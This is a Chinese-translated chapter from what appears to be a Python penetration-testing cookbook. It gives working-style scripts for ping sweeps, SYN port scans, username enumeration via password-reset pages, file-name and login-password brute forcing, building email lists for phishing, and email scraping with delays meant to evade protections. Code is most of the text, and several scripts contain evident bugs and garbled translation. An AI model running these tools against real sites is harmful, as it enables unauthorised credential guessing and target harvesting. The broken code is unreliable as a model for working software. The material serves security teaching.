在本章中,我们将介绍以下主题:
- 使用 Scapy 执行 ping 扫描
- Scapy 扫描
- 检查用户名有效性
- 强制使用用户名
- 枚举文件
- 强制密码
- 从名称生成电子邮件地址
- 从网页中查找电子邮件地址
- 在源代码中查找注释
确定测试目标后,您将需要执行一些枚举。这将帮助您确定一些可能的路径,以便进行进一步的侦察或攻击。这是重要的一步。毕竟,如果你想从保险箱里偷东西,你首先要看一看你是否需要一个别针、钥匙或密码,而不是简单地装上一根炸药棒,并可能毁掉里面的东西。
在本章中,我们将介绍一些使用 Python 执行活动枚举的方法。
确定目标网络后,首先要执行的任务之一是检查哪些主机处于活动状态。实现这一点的一个简单方法是 ping 一个 IP 地址并确认是否收到回复。但是,为多个主机执行此操作可能很快成为一项耗竭的任务。本食谱旨在向您展示如何使用 Scapy 实现这一点。
Scapy 是一个功能强大的工具,可以用来处理网络数据包。虽然我们不会深入讨论 Scapy 可以实现的所有功能,但我们将在本配方中使用它来确定哪些主机回复互联网控制消息协议(ICMP数据包。虽然您可能可以创建一个简单的 bash 脚本,并将其与一些 grep 过滤结合在一起,但本食谱旨在向您展示一些技术,这些技术对于涉及迭代 IP 范围的任务非常有用,同时也是 Scapy 基本用法的一个示例。
Scapy 可以通过以下命令安装在大多数 Linux 系统上:
$ sudo apt-get install python-scapy
以下脚本显示了如何使用 Scapy 创建 ICMP 数据包,以便在收到响应时发送和处理响应:
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import sys
from scapy.all import *
if len(sys.argv) !=3:
print "usage: %s start_ip_addr end_ip_addr" % (sys.argv[0])
sys.exit(0)
livehosts=[]
#IP address validation
ipregex=re.compile("^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0- 9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0- 5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0- 9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$")
if (ipregex.match(sys.argv[1]) is None):
print "Starting IP address is invalid"
sys.exit(0)
if (ipregex.match(sys.argv[1]) is None):
print "End IP address is invalid"
sys.exit(0)
iplist1 = sys.argv[1].split(".")
iplist2 = sys.argv[2].split(".")
if not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and iplist1[2]==iplist2[2])
print "IP addresses are not in the same class C subnet"
sys.exit(0)
if iplist1[3]>iplist2[3]:
print "Starting IP address is greater than ending IP address"
sys.exit(0)
networkaddr = iplist1[0]+"."+iplist1[1]+"."+iplist[2]+"."
start_ip_last_octet = int(iplist1[3])
end_ip_last_octet = int(iplist2[3])
if iplist1[3]<iplist2[3]:
print "Pinging range "+networkaddr+str(start_ip_last_octet)+"- "+str(end_ip_last_octet)
else
print "Pinging "+networkaddr+str(startiplastoctect)+"\n"
for x in range(start_ip_last_octet, end_ip_last_octet+1)
packet=IP(dst=networkaddr+str(x))/ICMP()
response = sr1(packet,timeout=2,verbose=0)
if not (response is None):
if response[ICMP].type==0:
livehosts.append(networkaddr+str(x))
print "Scan complete!\n"
if len(livehosts)>0:
print "Hosts found:\n"
for host in livehosts:
print host+"\n"
else:
print "No live hosts found\n"
脚本的第一个部分将在运行时设置对来自 Scapy 的警告消息的抑制。在未配置 IPv6 的计算机上导入 Scapy 时,通常会出现一条关于无法通过 IPv6 路由的警告消息。
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
下一节将导入必要的模块,验证收到的参数数量,并设置一个列表,用于存储发现处于活动状态的主机:
import sys
from scapy.all import *
if len(sys.argv) !=3:
print "usage: %s start_ip_addr end_ip_addr" % (sys.argv[0])
sys.exit(0)
livehosts=[]
然后我们编译一个正则表达式来检查 IP 地址是否有效。这不仅检查字符串的格式,还检查它是否存在于 IPv4 地址空间中。然后使用此编译的正则表达式与提供的参数进行匹配:
#IP address validation
ipregex=re.compile("^([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0- 9]|25[0-5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0- 5])\.([0-9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])\.([0- 9]|[1-9][0-9]|1[0-9][0-9]|2[0-4][0-9]|25[0-5])$")
if (ipregex.match(sys.argv[1]) is None):
print "Starting IP address is invalid"
sys.exit(0)
if (ipregex.match(sys.argv[1]) is None):
print "End IP address is invalid"
sys.exit(0)
验证 IP 地址后,将进行进一步检查,以确保提供的范围为有效范围,并分配用于设置循环参数的变量:
iplist1 = sys.argv[1].split(".")
iplist2 = sys.argv[2].split(".")
if not (iplist1[0]==iplist2[0] and iplist1[1]==iplist2[1] and iplist1[2]==iplist2[2])
print "IP addresses are not in the same class C subnet"
sys.exit(0)
if iplist1[3]>iplist2[3]:
print "Starting IP address is greater than ending IP address"
sys.exit(0)
networkaddr = iplist1[0]+"."+iplist1[1]+"."+iplist[2]+"."
start_ip_last_octet = int(iplist1[3])
end_ip_last_octet = int(iplist2[3])
脚本的下一部分纯粹是信息性的,可以省略。它将打印要 ping 的 IP 地址范围,或者在提供的两个参数相等的情况下,打印要 ping 的 IP 地址:
if iplist1[3]<iplist2[3]:
print "Pinging range "+networkaddr+str(start_ip_last_octet)+"- "+str(end_ip_last_octet)
else
print "Pinging "+networkaddr+str(startiplastoctect)+"\n"
然后,我们进入循环并开始创建 ICMP 数据包:
for x in range(start_ip_last_octet, end_ip_last_octet+1)
packet=IP(dst=networkaddr+str(x))/ICMP()
之后,我们使用sr1
命令发送数据包并接收一个数据包:
response = sr1(packet,timeout=2,verbose=0)
最后,我们检查是否收到响应,并且响应代码是否为0
。这是因为响应代码0
表示回音应答。其他代码可能报告无法到达目的地。如果响应通过这些检查,则 IP 地址将附加到livehosts
列表中:
if not (response is None):
if response[ICMP].type==0:
livehosts.append(networkaddr+str(x))
如果找到了活动主机,那么脚本将打印出列表。
Scapy 是一个功能强大的工具,可以用来处理网络数据包。虽然我们不会深入讨论 Scapy 可以实现的所有功能,但我们将在本配方中使用它来确定目标上打开了哪些 TCP 端口。在确定目标上打开了哪些端口时,您可以确定正在运行的服务的类型,并使用这些类型进一步进行测试。
这是将在给定端口范围内的特定目标上执行端口扫描的脚本。它接受目标、端口范围开始和端口范围结束的参数:
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
import sys
from scapy.all import *
if len(sys.argv) !=4:
print "usage: %s target startport endport" % (sys.argv[0])
sys.exit(0)
target = str(sys.argv[1])
startport = int(sys.argv[2])
endport = int(sys.argv[3])
print "Scanning "+target+" for open TCP ports\n"
if startport==endport:
endport+=1
for x in range(startport,endport):
packet = IP(dst=target)/TCP(dport=x,flags="S")
response = sr1(packet,timeout=0.5,verbose=0)
if response.haslayer(TCP) and response.getlayer(TCP).flags == 0x12:
print "Port "+str(x)+" is open!"
sr(IP(dst=target)/TCP(dport=response.sport,flags="R"), timeout=0.5, verbose=0)
print "Scan complete!\n"
关于这个食谱,你注意到的第一件事是脚本的开头两行:
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
这些行用于在未配置 IPv6 路由时抑制 Scapy 创建的警告,这会导致以下输出:
WARNING: No route found for IPv6 destination :: (no default route?)
这对于脚本的功能来说并不是必需的,但是当您运行它时,它确实会使输出更加整洁。
接下来的几行将验证参数的数量,并将参数分配给脚本中使用的变量。该脚本还检查端口范围的开始和结束是否相同,并增加结束端口以使循环能够工作。
在所有的设置之后,我们将在端口范围内循环,脚本的真正内容就出现了。首先,我们创建一个基本的 TCP 数据包:
packet = IP(dst=target)/TCP(dport=x,flags="S")
然后我们使用sr1
命令。此命令是send/receive1
的缩写。此命令将发送我们创建的数据包,并接收发送回的第一个数据包。我们提供的其他参数包括超时,因此脚本不会挂起关闭或过滤的端口,我们设置的 verbose 参数将关闭 Scapy 在发送数据包时通常创建的输出。
然后,脚本检查是否存在包含 TCP 数据的响应。如果它确实包含 TCP 数据,那么脚本将检查 SYN 和 ACK 标志。这些标志的存在将表示 SYN-ACK 响应,这是 TCP 协议握手的一部分,并表示端口已打开。
如果确定某个端口已打开,则会打印一个输出以实现此效果,并且下一行代码会发送一个重置:
sr(IP(dst=target)/TCP(dport=response.sport,flags="R"),timeout=0.5, verbose=0)
如果端口范围和打开的端口数量较大,则需要此线路来关闭连接并防止发生 TCP SYN 洪水攻击。
在这个配方中,我们向您展示了如何使用 Scapy 执行 TCP 端口扫描。本配方中使用的技术可适用于在主机上执行 UDP 端口扫描或在一系列主机上执行 ping 扫描。
这仅仅触及了 Scapy 能力的表面。欲了解更多信息,请访问 Scapy 官方网站http://www.secdev.org/projects/scapy/ 。
当执行侦察时,您可能会遇到 web 应用程序的某些部分,这些部分将允许您确定某些用户名是否有效。这方面的一个主要示例是一个页面,该页面允许您在忘记密码时请求密码重置。例如,如果页面要求您输入用户名以重置密码,它可能会根据是否存在具有该用户名的用户给出不同的响应。因此,如果用户名不存在,页面可能会以Username not found
或类似的方式响应。但是,如果用户名确实存在,它可能会将您重定向到登录页面并通知您Password reset instructions have been sent to your registered email address
。
每个 web 应用程序可能不同。因此,在继续创建用户名检查工具之前,您需要执行一次侦察。您需要查找的详细信息将包括为请求密码重置而访问的页面、需要发送到此页面的参数,以及在结果成功或失败时发生的情况。
一旦您了解了密码重置请求如何在目标上工作的详细信息,您就可以组装脚本了。以下是工具外观的示例:
#basic username check
import sys
import urllib
import urllib2
if len(sys.argv) !=2:
print "usage: %s username" % (sys.argv[0])
sys.exit(0)
url = "http://www.vulnerablesite.com/resetpassword.html"
username = str(sys.argv[1])
data = urllib.urlencode({"username":username})
response = urllib2.urlopen(url,data).read()
UnknownStr="Username not found"
if(response.find(UnknownStr)<0):
print "Username does not exist\n"
else
print "Username exists!"
下面显示了使用此脚本时生成的输出示例:
user@pc:~# python usernamecheck.py randomusername
Username does not exist
user@pc:~# python usernamecheck.py admin
Username exists!
在验证参数数量并将参数分配给变量后,我们使用urllib
模块对提交到页面的数据进行编码:
data = urllib.urlencode({"username":username})
然后,我们查找表示由于用户名不存在而导致请求失败的字符串:
UnknownStr="Username not found"
find(str
的结果不会给出简单的真或假。相反,它将返回在字符串中找到子字符串的位置。但是,如果它没有找到您正在搜索的子字符串,它将返回1
。
此配方可适用于其他情况。密码重置可能会请求电子邮件地址而不是用户名。或者,成功的响应可能会显示注册给用户的电子邮件地址。重要的是要注意 web 应用程序可能显示的内容超出其应有范围的情况。
对于更大的工作,你会想考虑使用 Tr0 T0。
对于小型但常规的实例,一个能够让您快速检查某些内容的小工具就足够了。那些更大的工作呢?也许你已经从开源情报收集中获得了大量信息,你想知道这些用户中的哪一个使用了你的目标应用程序。此配方将向您展示如何自动检查存储在文件中的用户名。
在使用此配方之前,您需要获取要测试的用户名列表。这可以是您自己创建的内容,也可以使用 Kali 中的单词列表。如果您需要创建自己的列表,最好从使用 web 应用程序中常见的名称开始。这些可能包括诸如user
、admin
、administrator
等用户名。
此脚本将尝试检查所提供列表中的用户名,以确定应用程序中是否存在帐户:
#brute force username enumeration
import sys
import urllib
import urllib2
if len(sys.argv) !=2:
print "usage: %s filename" % (sys.argv[0])
sys.exit(0)
filename=str(sys.argv[1])
userlist = open(filename,'r')
url = "http://www.vulnerablesite.com/forgotpassword.html"
foundusers = []
UnknownStr="Username not found"
for user in userlist:
user=user.rstrip()
data = urllib.urlencode({"username":user})
request = urllib2.urlopen(url,data)
response = request.read()
if(response.find(UnknownStr)>=0):
foundusers.append(user)
request.close()
userlist.close()
if len(foundusers)>0:
print "Found Users:\n"
for name in foundusers:
print name+"\n"
else:
print "No users found\n"
以下是此脚本的输出示例:
python bruteusernames.py userlist.txt
Found Users:
admin
angela
bob
john
这个脚本引入了比基本用户名检查更多的概念。第一个是打开文件以加载我们的列表:
userlist = open(filename,'r')
这将打开包含用户名列表的文件,并将其加载到userlist
变量中。然后我们循环浏览列表中的用户列表。在此配方中,我们还使用了以下代码行:
user=user.strip()
此命令去除空白,包括换行符,这有时会在提交前更改编码结果。
如果用户名存在,则会将其附加到列表中。选中所有用户名后,将输出列表的内容。
对于单个用户名,您需要使用基本用户名检查方法。
当枚举 web 应用程序时,您需要确定存在哪些页面。通常使用的一种常见做法称为爬行。爬行的工作原理是:访问一个网站,然后跟踪该页面中的每个链接以及该网站中的任何后续页面。但是,对于某些站点(如 Wiki),如果链接在访问时执行编辑或删除功能,则此方法可能会导致删除数据。这个方法将取而代之的是一个常见的网页文件名列表,并检查它们是否存在。
对于这个配方,您需要创建一个常见页面名称列表。渗透测试发行版(如 Kali Linux)将提供各种暴力工具的单词列表,这些工具可以用来代替生成您自己的。
以下脚本将获取可能的文件名列表,并测试网页是否存在于网站中:
#bruteforce file names
import sys
import urllib2
if len(sys.argv) !=4:
print "usage: %s url wordlist fileextension\n" % (sys.argv[0])
sys.exit(0)
base_url = str(sys.argv[1])
wordlist= str(sys.argv[2])
extension=str(sys.argv[3])
filelist = open(wordlist,'r')
foundfiles = []
for file in filelist:
file=file.strip("\n")
extension=extension.rstrip()
url=base_url+file+"."+str(extension.strip("."))
try:
request = urllib2.urlopen(url)
if(request.getcode()==200):
foundfiles.append(file+"."+extension.strip("."))
request.close()
except urllib2.HTTPError, e:
pass
if len(foundfiles)>0:
print "The following files exist:\n"
for filename in foundfiles:
print filename+"\n"
else:
print "No files found\n"
下面的输出显示了使用常见网页列表运行该死的易受攻击的 Web App(DVWA)时可能返回的内容:
python filebrute.py http://192.168.68.137/dvwa/ filelist.txt .php
The following files exist:
index.php
about.php
login.php
security.php
logout.php
setup.php
instructions.php
phpinfo.php
导入必要的模块并验证参数数量后,将以只读模式打开要检查的文件名列表,该列表由文件的open
操作中的r
参数指示:
filelist = open(wordlist,'r')
当脚本进入文件名列表的循环时,将从文件名中删除任何换行符,因为这将在检查文件名是否存在时影响 URL 的创建。如果提供的扩展中存在前面的.
,则该扩展也会被剥离。这允许使用包含或不包含前面的.
的扩展,例如.php
或php
:
file=file.strip("\n")
extension=extension.rstrip()
url=base_url+file+"."+str(extension.strip("."))
然后,脚本的主要操作通过检查HTTP 200
代码来检查具有给定文件名的网页是否存在,并捕获不存在的网页给出的任何错误:
try:
request = urllib2.urlopen(url)
if(request.getcode()==200):
foundfiles.append(file+"."+extension.strip("."))
request.close()
except urllib2.HTTPError, e:
pass
暴力强迫可能不是最优雅的解决方案,但它将自动化可能是一项平凡的任务。通过使用自动化,您可以更快地完成任务,或者至少让自己在同一时间从事其他工作。
要使用此配方,您需要一个要测试的用户名列表和密码列表。虽然这不是暴力强制的真正定义,但它将减少您将要测试的组合数。
如果您没有可用的密码列表,那么在线上有很多可用的密码,例如 GitHub 上最常见的 10000 个密码,位于https://github.com/neo/discourse_heroku/blob/master/lib/common_passwords/10k-common-passwords.txt 。
以下代码显示了如何实现此配方的示例:
#brute force passwords
import sys
import urllib
import urllib2
if len(sys.argv) !=3:
print "usage: %s userlist passwordlist" % (sys.argv[0])
sys.exit(0)
filename1=str(sys.argv[1])
filename2=str(sys.argv[2])
userlist = open(filename1,'r')
passwordlist = open(filename2,'r')
url = "http://www.vulnerablesite.com/login.html"
foundusers = []
FailStr="Incorrect User or Password"
for user in userlist:
for password in passwordlist:
data = urllib.urlencode({"username="user&"password="password})
request = urllib2.urlopen(url,data)
response = request.read()
if(response.find(FailStr)<0)
foundcreds.append(user+":"+password)
request.close()
if len(foundcreds)>0:
print "Found User and Password combinations:\n"
for name in foundcreds:
print name+"\n"
else:
print "No users found\n"
以下显示了脚本运行时产生的输出示例:
python bruteforcepasswords.py userlists.txt passwordlist.txt
Found User and Password combinations:
root:toor
angela:trustno1
bob:password123
john:qwerty
初始导入必要的模块并检查系统参数后,我们设置密码检查:
filename1=str(sys.argv[1])
filename2=str(sys.argv[2])
userlist = open(filename1,'r')
passwordlist = open(filename2,'r')
文件名参数存储在变量中,然后打开变量。r
变量表示我们以只读方式打开这些文件。
我们还指定目标并初始化数组以存储找到的任何有效凭据:
url = "http://www.vulnerablesite.com/login.html"
foundusers = []
FailStr="Incorrect User or Password"
前面代码中的FailStr
变量只是为了让我们的生活更轻松,它使用了一个简短的变量名来键入,而不是键入整个字符串。
此配方的主要步骤是在一个嵌套循环中执行我们的自动密码检查:
for user in userlist:
for password in passwordlist:
data = urllib.urlencode({"username="user&"password="password })
request = urllib2.urlopen(url,data)
response = request.read()
if(response.find(FailStr)<0)
foundcreds.append(user+":"+password)
request.close()
在这个循环中,发送一个请求,包括用户名和密码作为参数。如果响应不包含表示用户名和密码组合无效的字符串,那么我们知道我们有一组有效的凭据。然后,我们将这些凭据添加到前面创建的数组中。
在尝试了所有的用户名和密码组合后,我们将检查数组是否有凭据。如果是这样,我们就打印凭证。如果没有,我们会打印一条悲伤的消息,通知我们没有发现任何东西:
if len(foundcreds)>0:
print "Found User and Password combinations:\n"
for name in foundcreds:
print name+"\n"
else:
print "No users found\n"
如果你想找到用户名,你可能还想利用检查用户名有效性和强制使用用户名的方法。
在某些场景中,您可能有目标公司的员工列表,并且希望生成电子邮件地址列表。电子邮件地址可能很有用。您可能希望使用它们执行网络钓鱼攻击,或者您可能希望使用它们尝试登录到公司的应用程序,例如包含敏感内部文档的电子邮件或公司门户。
在使用此配方之前,您需要有一个要使用的名称列表。如果你没有名字列表,你可能要考虑首先对你的目标执行一个开源情报练习。
以下代码将获取包含姓名列表的文件,并生成不同格式的电子邮件地址列表:
import sys
if len(sys.argv) !=3:
print "usage: %s name.txt email suffix" % (sys.argv[0])
sys.exit(0)
for line in open(sys.argv[1]):
name = ''.join([c for c in line if c == " " or c.isalpha()])
tokens = name.lower().split()
fname = tokens[0]
lname = tokens[-1]
print fname+lname+sys.argv[2]
print lname+fname+sys.argv[2]
print fname+"."+lname+sys.argv[2]
print lname+"."+fname+sys.argv[2]
print lname+fname[0]+sys.argv[2]
print fname+lname+fname+sys.argv[2]
print fname[0]+lname+sys.argv[2]
print fname[0]+"."+lname+sys.argv[2]
print lname[0]+"."+fname+sys.argv[2]
print fname+sys.argv[2]
print lname+sys.argv[2]
这个方法的主要机制是使用字符串连接。通过将名字或首字母与姓氏以不同的组合与电子邮件后缀连接起来,您就有了一个潜在电子邮件地址列表,可以在以后的测试中使用。
特色食谱展示了如何使用姓名列表生成电子邮件地址列表。但是,并非所有电子邮件地址都有效。您可以通过在公司的应用程序中使用枚举技术进一步缩小此列表的范围,该技术可能会揭示电子邮件地址是否存在。您还可以执行进一步的开源情报调查,这可能使您能够确定目标组织电子邮件地址的正确格式。如果您成功地实现了这一点,那么您可以从配方中删除任何不必要的格式,以生成更简洁的电子邮件地址列表,从而在以后为您提供更大的价值。
一旦您获得了电子邮件地址,您可能希望将其作为检查用户名有效性方法的一部分。
您可能会发现目标组织的网页上会有一些电子邮件列表,而不是生成您自己的电子邮件列表。这可能证明比您自己生成的电子邮件地址具有更高的价值,因为目标组织网站上的电子邮件地址有效的可能性将远远高于您尝试猜测的电子邮件地址。
对于这个配方,您需要一个要解析电子邮件地址的页面列表。您可能希望访问目标组织的网站并搜索站点地图。然后,可以解析站点地图,查找指向网站中存在的页面的链接。
以下代码将解析 URL 列表中与电子邮件地址格式匹配的文本实例的响应,并将其保存到文件中:
import urllib2
import re
import time
from random import randint
regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_'{|}~-]+(?:\.[a-z0- 9!#$%&'*+\/=?^_'"
"{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9- ]*[a-z0-9])?(\.|"
"\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)"))
tarurl = open("urls.txt", "r")
for line in tarurl:
output = open("emails.txt", "a")
time.sleep(randint(10, 100))
try:
url = urllib2.urlopen(line).read()
output.write(line)
emails = re.findall(regex, url)
for email in emails:
output.write(email[0]+"\r\n")
print email[0]
except:
pass
print "error"
output.close()
导入必要的模块后,您将看到regex
变量的赋值:
regex = re.compile(("([a-z0-9!#$%&'*+\/=?^_'{|}~-]+(?:\.[a-z0- 9!#$%&'*+\/=?^_'"
"{|}~-]+)*(@|\sat\s)(?:[a-z0-9](?:[a-z0-9- ]*[a-z0-9])?(\.|"
"\sdot\s))+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?)"))
这会尝试匹配电子邮件地址格式,例如victim@target.com
或目标网站上的受害者。然后,代码打开一个包含 URL 的文件:
tarurl = open("urls.txt", "r")
您可能会注意到参数 r
的使用。这将以只读模式打开文件。然后,代码在 URL 列表中循环。在循环中,打开一个文件以将电子邮件地址保存到:
output = open("emails.txt", "a")
这次使用了a
参数。这表示将追加对此文件的任何输入,而不是覆盖整个文件。该脚本使用睡眠计时器,以避免触发目标为防止攻击而采取的任何保护措施:
time.sleep(randint(10, 100))
此计时器将在10
和100
秒之间的任意时间内暂停脚本。
在使用urlopen()
方法时,使用异常处理是至关重要的。如果来自urlopen()
的响应为404 (HTTP not found error)
,则脚本将出错并退出。
如果有有效的响应,脚本将把所有电子邮件地址实例存储在emails
变量中:
emails = re.findall(regex, url)
然后循环通过emails
变量,将列表中的每一项写入emails.txt
文件,并输出到控制台进行确认:
for email in emails:
output.write(email[0]+"\r\n")
print email[0]
此配方中使用的常规表达式匹配匹配两种常见的格式,用于表示 Internet 上的电子邮件地址。在您的学习和调查过程中,您可能会遇到您可能希望包含在匹配中的其他格式。有关 Python 中正则表达式的更多信息,您可能需要阅读 Python 网站上的文档,获取位于的正则表达式 https://docs.python.org/2/library/re.html 。
有关更多信息,请参阅从名称生成电子邮件地址的方法。
一个常见的安全问题是由良好的编程实践引起的。在 web 应用程序的开发阶段,开发人员将对其代码进行注释。这在这一阶段非常有用,因为它有助于理解代码,并且由于各种原因将作为有用的提醒。但是,当 web 应用程序准备在生产环境中部署时,最好删除所有这些注释,因为它们可能对攻击者有用。
此配方将使用Requests
和BeautifulSoup
的组合来搜索 URL 以获取评论,同时搜索页面上的链接并搜索后续 URL 以获取评论。跟踪页面链接并分析这些 URL 的技术称为 spidering。
下面的脚本将在源代码中为注释和链接刮取 URL。然后,它还将执行有限的爬网和搜索链接 URL 以查找注释:
import requests
import re
from bs4 import BeautifulSoup
import sys
if len(sys.argv) !=2:
print "usage: %s targeturl" % (sys.argv[0])
sys.exit(0)
urls = []
tarurl = sys.argv[1]
url = requests.get(tarurl)
comments = re.findall('<!--(.*)-->',url.text)
print "Comments on page: "+tarurl
for comment in comments:
print comment
soup = BeautifulSoup(url.text)
for line in soup.find_all('a'):
newline = line.get('href')
try:
if newline[:4] == "http":
if tarurl in newline:
urls.append(str(newline))
elif newline[:1] == "/":
combline = tarurl+newline
urls.append(str(combline))
except:
pass
print "failed"
for uurl in urls:
print "Comments on page: "+uurl
url = requests.get(uurl)
comments = re.findall('<!--(.*)-->',url.text)
for comment in comments:
print comment
在初始导入必要的模块并设置变量后,脚本首先获取目标 URL 的源代码。
您可能已经注意到,对于Beautifulsoup
,我们有以下行:
from bs4 import BeautifulSoup
因此,当我们使用BeautifulSoup
时,我们只需键入BeautifulSoup
而不是bs4.BeautifulSoup
。
然后,它搜索 HTML 注释的所有实例并将其打印出来:
url = requests.get(tarurl)
comments = re.findall('<!--(.*)-->',url.text)
print "Comments on page: "+tarurl
for comment in comments:
print comment
然后,脚本将使用Beautifulsoup
来刮取绝对(从http
开始)和相对(从/
开始)链接的任何实例的源代码:
if newline[:4] == "http":
if tarurl in newline:
urls.append(str(newline))
elif newline[:1] == "/":
combline = tarurl+newline
urls.append(str(combline))
一旦脚本整理了链接到页面的 URL 列表,它就会在每个页面上搜索 HTML 注释。
这个食谱展示了一个基本的注释刮取和爬虫的例子。这是可能的,以增加更多的智慧,这个食谱,以满足您的需要。例如,您可能希望说明使用以.
或..
开头表示当前目录和父目录的相对链接。
您还可以向爬行部分添加更多控件。您可以从提供的目标 URL 中提取域,并创建一个过滤器,该过滤器不会刮取目标外部域的链接。这对于需要遵守目标范围的专业活动尤其有用。